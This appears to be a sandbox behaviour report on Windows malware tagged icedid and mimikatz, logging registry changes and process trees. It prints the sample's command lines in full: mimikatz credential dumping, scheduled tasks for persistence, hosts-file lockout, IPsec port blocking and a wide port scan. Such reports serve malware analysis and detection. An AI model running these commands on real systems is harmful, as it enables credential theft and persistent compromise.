\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs yrklftl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\76-34-3a-38-f7-ef\WpadDecision = "0" yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9DAEF1C3-CE53-4BC3-918B-B2B79E5ED177}\76-34-3a-38-f7-ef yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9DAEF1C3-CE53-4BC3-918B-B2B79E5ED177}\WpadDecision = "0" yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9DAEF1C3-CE53-4BC3-918B-B2B79E5ED177} yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" vekeuubbl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe -
Modifies registry class 14 IoCs
Processes:
yrklftl.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ yrklftl.exe -
Processes:
yrklftl.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 yrklftl.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 yrklftl.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
Processes:
yrklftl.exeyrklftl.exepid process 2652 yrklftl.exe 3940 yrklftl.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
yrklftl.exepid process 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe -
Suspicious behavior: LoadsDriver 31 IoCs
Processes:
pid process 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 480 -
Suspicious behavior: RenamesItself 1 IoCs
Processes:
2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exepid process 1512 2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exeyrklftl.exeyrklftl.exevfshost.exesvchost.exevekeuubbl.exemitzpm.exevekeuubbl.exevekeuubbl.exevekeuubbl.exevekeuubbl.exedescription pid process Token: SeDebugPrivilege 1512 2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 548 yrklftl.exe Token: SeDebugPrivilege 2640 yrklftl.exe Token: SeDebugPrivilege 1664 vfshost.exe Token: SeAuditPrivilege 2556 svchost.exe Token: SeDebugPrivilege 1812 vekeuubbl.exe Token: SeShutdownPrivilege 1812 vekeuubbl.exe Token: SeLockMemoryPrivilege 2924 mitzpm.exe Token: SeLockMemoryPrivilege 2924 mitzpm.exe Token: SeDebugPrivilege 2436 vekeuubbl.exe Token: SeShutdownPrivilege 2436 vekeuubbl.exe Token: SeDebugPrivilege 576 vekeuubbl.exe Token: SeShutdownPrivilege 576 vekeuubbl.exe Token: SeDebugPrivilege 2536 vekeuubbl.exe Token: SeShutdownPrivilege 2536 vekeuubbl.exe Token: SeDebugPrivilege 1316 vekeuubbl.exe Token: SeShutdownPrivilege 1316 vekeuubbl.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exeyrklftl.exeyrklftl.exexohudmc.exerifzsk.exeyrklftl.exepid process 1512 2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exe 1512 2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exe 548 yrklftl.exe 548 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 592 xohudmc.exe 1016 rifzsk.exe 2652 yrklftl.exe 2652 yrklftl.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.execmd.exeyrklftl.execmd.execmd.exewpcap.exedescription pid process target process PID 1512 wrote to memory of 1780 1512 2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exe cmd.exe PID 1512 wrote to memory of 1780 1512 2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exe cmd.exe PID 1512 wrote to memory of 1780 1512 2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exe cmd.exe PID 1512 wrote to memory of 1780 1512 2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exe cmd.exe PID 1780 wrote to memory of 2008 1780 cmd.exe PING.EXE PID 1780 wrote to memory of 2008 1780 cmd.exe PING.EXE PID 1780 wrote to memory of 2008 1780 cmd.exe PING.EXE PID 1780 wrote to memory of 2008 1780 cmd.exe PING.EXE PID 1780 wrote to memory of 548 1780 cmd.exe yrklftl.exe PID 1780 wrote to memory of 548 1780 cmd.exe yrklftl.exe PID 1780 wrote to memory of 548 1780 cmd.exe yrklftl.exe PID 1780 wrote to memory of 548 1780 cmd.exe yrklftl.exe PID 2640 wrote to memory of 2600 2640 yrklftl.exe cmd.exe PID 2640 wrote to memory of 2600 2640 yrklftl.exe cmd.exe PID 2640 wrote to memory of 2600 2640 yrklftl.exe cmd.exe PID 2640 wrote to memory of 2600 2640 yrklftl.exe cmd.exe PID 2600 wrote to memory of 2684 2600 cmd.exe cmd.exe PID 2600 wrote to memory of 2684 2600 cmd.exe cmd.exe PID 2600 wrote to memory of 2684 2600 cmd.exe cmd.exe PID 2600 wrote to memory of 2684 2600 cmd.exe cmd.exe PID 2600 wrote to memory of 2608 2600 cmd.exe cacls.exe PID 2600 wrote to memory of 2608 2600 cmd.exe cacls.exe PID 2600 wrote to memory of 2608 2600 cmd.exe cacls.exe PID 2600 wrote to memory of 2608 2600 cmd.exe cacls.exe PID 2600 wrote to memory of 1960 2600 cmd.exe cmd.exe PID 2600 wrote to memory of 1960 2600 cmd.exe cmd.exe PID 2600 wrote to memory of 1960 2600 cmd.exe cmd.exe PID 2600 wrote to memory of 1960 2600 cmd.exe cmd.exe PID 2600 wrote to memory of 2168 2600 cmd.exe cacls.exe PID 2600 wrote to memory of 2168 2600 cmd.exe cacls.exe PID 2600 wrote to memory of 2168 2600 cmd.exe cacls.exe PID 2600 wrote to memory of 2168 2600 cmd.exe cacls.exe PID 2600 wrote to memory of 2916 2600 cmd.exe cmd.exe PID 2600 wrote to memory of 2916 2600 cmd.exe cmd.exe PID 2600 wrote to memory of 2916 2600 cmd.exe cmd.exe PID 2600 wrote to memory of 2916 2600 cmd.exe cmd.exe PID 2600 wrote to memory of 2460 2600 cmd.exe cacls.exe PID 2600 wrote to memory of 2460 2600 cmd.exe cacls.exe PID 2600 wrote to memory of 2460 2600 cmd.exe cacls.exe PID 2600 wrote to memory of 2460 2600 cmd.exe cacls.exe PID 2640 wrote to memory of 2744 2640 yrklftl.exe netsh.exe PID 2640 wrote to memory of 2744 2640 yrklftl.exe netsh.exe PID 2640 wrote to memory of 2744 2640 yrklftl.exe netsh.exe PID 2640 wrote to memory of 2744 2640 yrklftl.exe netsh.exe PID 2640 wrote to memory of 2616 2640 yrklftl.exe netsh.exe PID 2640 wrote to memory of 2616 2640 yrklftl.exe netsh.exe PID 2640 wrote to memory of 2616 2640 yrklftl.exe netsh.exe PID 2640 wrote to memory of 2616 2640 yrklftl.exe netsh.exe PID 2640 wrote to memory of 2472 2640 yrklftl.exe netsh.exe PID 2640 wrote to memory of 2472 2640 yrklftl.exe netsh.exe PID 2640 wrote to memory of 2472 2640 yrklftl.exe netsh.exe PID 2640 wrote to memory of 2472 2640 yrklftl.exe netsh.exe PID 2640 wrote to memory of 2724 2640 yrklftl.exe cmd.exe PID 2640 wrote to memory of 2724 2640 yrklftl.exe cmd.exe PID 2640 wrote to memory of 2724 2640 yrklftl.exe cmd.exe PID 2640 wrote to memory of 2724 2640 yrklftl.exe cmd.exe PID 2724 wrote to memory of 2876 2724 cmd.exe wpcap.exe PID 2724 wrote to memory of 2876 2724 cmd.exe wpcap.exe PID 2724 wrote to memory of 2876 2724 cmd.exe wpcap.exe PID 2724 wrote to memory of 2876 2724 cmd.exe wpcap.exe PID 2724 wrote to memory of 2876 2724 cmd.exe wpcap.exe PID 2724 wrote to memory of 2876 2724 cmd.exe wpcap.exe PID 2724 wrote to memory of 2876 2724 cmd.exe wpcap.exe PID 2876 wrote to memory of 2836 2876 wpcap.exe net.exe
Processes
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1032
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C:\Windows\TEMP\lbiqgtsub\mitzpm.exe"C:\Windows\TEMP\lbiqgtsub\mitzpm.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2924
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C:\Users\Admin\AppData\Local\Temp\2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\gtgcurlb\yrklftl.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1780 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2008 -
C:\Windows\gtgcurlb\yrklftl.exeC:\Windows\gtgcurlb\yrklftl.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:548
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C:\Windows\gtgcurlb\yrklftl.exeC:\Windows\gtgcurlb\yrklftl.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2640 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2684
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2608
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1960
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2168
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2916
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2460
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Modifies data under HKEY_USERS
PID:2744 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵PID:2616
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵PID:2472
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iibfpugis\fewectaiq\wpcap.exe /S2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2724 -
C:\Windows\iibfpugis\fewectaiq\wpcap.exeC:\Windows\iibfpugis\fewectaiq\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2876 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵PID:2836
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:2984
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C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵PID:2768
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:1976
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C:\Windows\SysWOW64\net.exenet stop npf4⤵PID:2996
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:3028
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C:\Windows\SysWOW64\net.exenet start npf4⤵PID:1556
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:1744
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1564
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:1332
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:1700
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1980
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:1704
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:1968
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iibfpugis\fewectaiq\itcusielr.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\iibfpugis\fewectaiq\Scant.txt2⤵
- Loads dropped DLL
PID:712 -
C:\Windows\iibfpugis\fewectaiq\itcusielr.exeC:\Windows\iibfpugis\fewectaiq\itcusielr.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\iibfpugis\fewectaiq\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1492 -
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iibfpugis\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\iibfpugis\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:1548 -
C:\Windows\iibfpugis\Corporate\vfshost.exeC:\Windows\iibfpugis\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1664 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "uupfsiits" /ru system /tr "cmd /c C:\Windows\ime\yrklftl.exe"2⤵PID:1876
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2932
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "uupfsiits" /ru system /tr "cmd /c C:\Windows\ime\yrklftl.exe"3⤵
- Creates scheduled task(s)
PID:1312 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "itklbrcac" /ru system /tr "cmd /c echo Y|cacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F"2⤵PID:796
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2360
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "itklbrcac" /ru system /tr "cmd /c echo Y|cacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:2532 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bubipuefr" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F"2⤵PID:2888
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2920
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "bubipuefr" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:2784 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:2308 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:2336 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:1512 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:1928 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:2168 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵PID:2760
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:2012 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2752 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵PID:2464
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵PID:292
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:888 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:556 -
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵PID:2628
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C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵PID:2736
